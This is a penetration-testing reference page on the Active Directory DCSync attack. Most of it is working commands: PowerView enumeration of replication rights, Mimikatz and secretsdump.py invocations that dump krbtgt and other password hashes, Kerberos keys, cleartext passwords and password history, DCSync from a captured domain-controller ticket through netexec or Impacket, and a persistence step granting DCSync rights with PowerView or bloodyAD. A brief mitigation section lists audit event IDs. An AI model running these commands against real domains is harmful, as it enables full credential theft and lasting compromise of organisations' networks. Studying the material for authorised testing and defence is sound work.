DCSync

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

Important Notes about DCSync:

The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
In practice, full DCSync needs DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain naming context. DS-Replication-Get-Changes-In-Filtered-Set is commonly delegated together with them, but on its own it is more relevant for syncing confidential / RODC-filtered attributes (for example legacy LAPS-style secrets) than for a full krbtgt dump.
If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Check who has these permissions using powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

If you want to focus on non-default principals with DCSync rights, filter out the built-in replication-capable groups and review only unexpected trustees:

$domainDN = "DC=dollarcorp,DC=moneycorp,DC=local"
$default = "Domain Controllers|Enterprise Domain Controllers|Domain Admins|Enterprise Admins|Administrators"
Get-ObjectAcl -DistinguishedName $domainDN -ResolveGUIDs |
  Where-Object {
    $_.ObjectType -match 'replication-get' -or
    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'
  } |
  Where-Object { $_.IdentityReference -notmatch $default } |
  Select-Object IdentityReference,ObjectType,ActiveDirectoryRights

Exploit Locally

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploit Remotely

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-ldapfilter '(adminCount=1)'] #Or scope the dump to objects matching an LDAP filter
[-just-dc-ntlm] #Only NTLM material, faster/cleaner when you don't need Kerberos keys
[-pwd-last-set] #To see when each account's password was last changed
[-user-status] #Show if the account is enabled/disabled while dumping
[-history] #To dump password history, may be helpful for offline password cracking

Practical scoped examples:

# Only the krbtgt account
secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Only privileged objects selected through LDAP
secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Add metadata and password history for cracking/reuse analysis
secretsdump.py -just-dc-ntlm -history -pwd-last-set -user-status <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

DCSync using a captured DC machine TGT (ccache)

In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., DC1$@DOMAIN for krbtgt@DOMAIN). You can then use that ccache to authenticate as the DC and perform DCSync without a password.

# Generate a krb5.conf for the realm (helper)
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf

# netexec helper using KRB5CCNAME
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
  netexec smb <DC_FQDN> --use-kcache --ntds

# Or Impacket with Kerberos from ccache
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
  secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>

Operational notes:

Impacket's Kerberos path touches SMB first before the DRSUAPI call. If the environment enforces SPN target name validation, a full dump may fail with Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user.
In that case, either request a cifs/<dc> service ticket for the target DC first or fall back to -just-dc-user for the account you need immediately.
When you only have lower replication rights, LDAP/DirSync-style syncing can still expose confidential or RODC-filtered attributes (for example legacy ms-Mcs-AdmPwd) without a full krbtgt replication.

-just-dc generates 3 files:

one with the NTLM hashes
one with the the Kerberos keys
one with cleartext passwords from the NTDS for any accounts set with reversible encryption enabled. You can get users with reversible encryption with

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistence

If you are a domain admin, you can grant this permissions to any user with the help of powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Linux operators can do the same with bloodyAD:

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' add dcsync <TRUSTEE>

Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

References

https://github.com/fortra/impacket/blob/master/ChangeLog.md
https://simondotsh.com/infosec/2022/07/11/dirsync.html
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
https://yojimbosecurity.ninja/dcsync/
HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html